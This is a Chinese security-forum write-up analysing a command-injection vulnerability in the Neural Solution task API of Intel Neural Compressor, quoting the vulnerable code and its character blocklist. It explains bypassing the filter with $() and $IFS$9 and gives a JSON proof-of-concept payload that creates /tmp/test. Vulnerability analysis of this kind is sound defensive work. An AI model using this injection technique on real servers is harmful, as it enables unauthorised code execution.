问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
Neural Solution 代码执行漏洞分析
漏洞分析
漏洞源于Intel® Neural Compressor的一个功能模块Neural Solution,前者是一个开源 Python 库,支持所有主流深度学习框架(TensorFlow、PyTorch、ONNX Runtime和 MXNet)上流行的模型压缩技术,例如量化、剪枝(稀疏性)、蒸馏和神经架构搜索。后者为前者带来了web接口服务,可以通过RESTFUL/GRPC API毫不费力地提交优化任务。
前言 -- 漏洞源于Intel® Neural Compressor的一个功能模块Neural Solution,前者是一个开源 Python 库,支持所有主流深度学习框架([TensorFlow](https://zhida.zhihu.com/search?content_id=237698833&content_type=Article&match_order=1&q=TensorFlow&zd_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJ6aGlkYV9zZXJ2ZXIiLCJleHAiOjE3NDAyMTM2ODQsInEiOiJUZW5zb3JGbG93IiwiemhpZGFfc291cmNlIjoiZW50aXR5IiwiY29udGVudF9pZCI6MjM3Njk4ODMzLCJjb250ZW50X3R5cGUiOiJBcnRpY2xlIiwibWF0Y2hfb3JkZXIiOjEsInpkX3Rva2VuIjpudWxsfQ.pvHL_5CpKfBCM1NQDcV3map4Uar-dAYdswzoxJFY8tg&zhida_source=entity)、[PyTorch](https://zhida.zhihu.com/search?content_id=237698833&content_type=Article&match_order=1&q=PyTorch&zd_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJ6aGlkYV9zZXJ2ZXIiLCJleHAiOjE3NDAyMTM2ODQsInEiOiJQeVRvcmNoIiwiemhpZGFfc291cmNlIjoiZW50aXR5IiwiY29udGVudF9pZCI6MjM3Njk4ODMzLCJjb250ZW50X3R5cGUiOiJBcnRpY2xlIiwibWF0Y2hfb3JkZXIiOjEsInpkX3Rva2VuIjpudWxsfQ.CwWhiMQR57z_lJ0lmKyrLV0Ajx3yJDc6Um3ZYJCtiEg&zhida_source=entity)、[ONNX Runtime](https://zhida.zhihu.com/search?content_id=237698833&content_type=Article&match_order=1&q=ONNX+Runtime&zd_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJ6aGlkYV9zZXJ2ZXIiLCJleHAiOjE3NDAyMTM2ODQsInEiOiJPTk5YIFJ1bnRpbWUiLCJ6aGlkYV9zb3VyY2UiOiJlbnRpdHkiLCJjb250ZW50X2lkIjoyMzc2OTg4MzMsImNvbnRlbnRfdHlwZSI6IkFydGljbGUiLCJtYXRjaF9vcmRlciI6MSwiemRfdG9rZW4iOm51bGx9.ukkSxDr6tdhpP_AirpEX8NJ3C6L9OL7Kd9_-fk5Pbz8&zhida_source=entity) 和 [MXNet](https://zhida.zhihu.com/search?content_id=237698833&content_type=Article&match_order=1&q=MXNet&zd_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJ6aGlkYV9zZXJ2ZXIiLCJleHAiOjE3NDAyMTM2ODQsInEiOiJNWE5ldCIsInpoaWRhX3NvdXJjZSI6ImVudGl0eSIsImNvbnRlbnRfaWQiOjIzNzY5ODgzMywiY29udGVudF90eXBlIjoiQXJ0aWNsZSIsIm1hdGNoX29yZGVyIjoxLCJ6ZF90b2tlbiI6bnVsbH0.wOxvLhm72ZqBrM_ybyTeIjDNN2IrbukiYJQ9PKlNBW0&zhida_source=entity))上流行的模型压缩技术,例如量化、剪枝(稀疏性)、蒸馏和神经架构搜索。后者为前者带来了web接口服务,可以通过RESTFUL/GRPC API毫不费力地提交优化任务。 Neural Solution 功能分析 -------------------- 简单来说,Neural Solution提供了api,用户可以通过submit/task接口发送任务数据,后者在服务端执行  具体代码如下 ```python @app.post("/task/submit/") async def submit_task(task: Task): if not is_valid_task(task.dict()): raise HTTPException(status_code=422, detail="Invalid task") ... if os.path.isfile(db_path): conn = sqlite3.connect(db_path) cursor = conn.cursor() task_id = str(uuid.uuid4()).replace("-", "") sql = ( r"insert into task(id, script_url, optimized, arguments, approach, requirements, workers, status)" + r" values ('{}', '{}', {}, '{}', '{}', '{}', {}, 'pending')".format( task_id, task.script_url, task.optimized, list_to_string(task.arguments), task.approach, list_to_string(task.requirements), task.workers, ) ) cursor.execute(sql) #数据库操作,将接收到的任务参数存入数据库 conn.commit() try: task_submitter.submit_task(task_id) except ConnectionRefusedError: status = "failed" except Exception as e: msg = "Task Submitted fail! {}".format(e) status = "failed" conn.close() ..... ``` 程序首先通过*is\_valid\_task()*来检验请求数据的合法性,即task字典中要求的必填字段\["script\_url", "optimized", "arguments", "approach", "requirements", "workers"\]是否存在,以及各参数是否符合数据类型的要求,例如script\_url、optimized需要是字段串、arguments、requirements需要是列表等等。随后使用*is\_invalid\_str()*对数据内容进行检查  ```python def is_invalid_str(to_test_str: str): """Verify whether the to_test_str is valid. Args: to_test_str (str): string to be tested. Returns: bool: valid or invalid """ return any(char in to_test_str for char in [" ", '"', "'", "&", "|", ";", "`", ">"]) #过滤空格、单双引号、管道符等 ``` 随后进行数据库操作,将接收到的任务参数存入数据库,通过*prepare\_task()* 准备好后,最终通过*launch\_task()*取出数据执行任务 通过*subprocess.Popen()*启动新进程将full\_cmd作为命令执行 ```python def launch_task(self, task: Task, resource): """Generate the mpi command and execute the task. Redirect the log to ./TASK_LOG_PATH/task_<id>/txt """ full_cmd = self._parse_cmd(task, resource)#取出task数据 log_path = get_task_log_path(log_path=get_task_log_workspace(self.config.workspace), task_id=task.task_id) p = subprocess.Popen(full_cmd, stdout=open(log_path, "w+"), #stderr=subprocess.STDOUT, shell=True) # nosec ```  可见task\_cmd参数直接拼接了task.arguments,随后作为bash\_script的一部分被写入到bash\_script\_name中作为一个.sh文件,然后被拼接到full\_cmd中,最终再通过*subprocess.Popen()*启动新进程将full\_cmd作为命令执行。 其中script\_name来源于任务准备过程中*prepare\_task()* 的处理,判断了task.script\_url是否为远程脚本或是本地脚本来决定script\_name的值  当task.script\_url为本地脚本时  由于upload\_path为用户自己配置的路径,而其路径下的本地脚本文件路径(即task.script\_url)未知,将在 script\_path赋值时出现索引异常中断执行    而当task.optimized为false且脚本为远程url时,script\_name很清晰就为url中最后一个斜杠后的值  漏洞分析 ---- 分析完组件功能,可以只要构造恶意代码到task.arguments参数中,绕过*is\_valid\_task()*中*is\_invalid\_str()* 的安全检查,即可任意代码执行(无回显)。 首先看看,拼接后的full\_cmd大致组成如下 ```php cd $task\_path $mpi\_cmd bash xxxx.sh xxx.sh内容为: xxxx cd xxxx python xxxxx.py(task.script\_name) task.arguments ``` 由于是使用bash 来运行sh文件,而不是直接调用文件本身,所以sh文件本身不需要对其赋予执行权限就可以执行它 可控参数拼接在python命令后,再来看看task.arguments的构成 在README.MD中,了解到任务的数据结构以及参数大致如下  也就是说,最终可控参数拼接在如下位置 python xxx.py --dataset\_location=可控 --model\_path=可控 由于反引号已被过滤,可以使用$()将恶意命令拼接到其中,如下案例,py文件即使不存在也不影响命令执行 python aaa.py --aaa=$(touch test/aaa)  由于此处需要对空格的过滤进行绕过 在linux中代替空格有如下几种方案 $IFS$9、${IFS}、$IFS、< 、<>、%20(space)、%09(tab)、 则可以改为 python aaa.py --aaa=$(touch$IFS$9test/aaa) 漏洞复现 ---- 由于此处是无回显的,可以使用touch创建一个文件来验证,构造payload如下 ```php { "script_url": "https://raw.githubusercontent.com/sunriseXu/onnx/main/main.py", "optimized": "False", "arguments": [ "--dataset_location=$(touch$IFS$9/tmp/test)", "--model_path=$(touch$IFS$9/tmp/test)" ], "approach": "static", "requirements": [ ], "workers": 1 } ```  查看是否执行成功  成功创建了/tmp/test
发表于 2025-11-17 10:00:00
阅读 ( 398 )
分类:
漏洞分析
0 推荐
收藏
0 条评论
请先
登录
后评论
中铁13层打工人
86 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!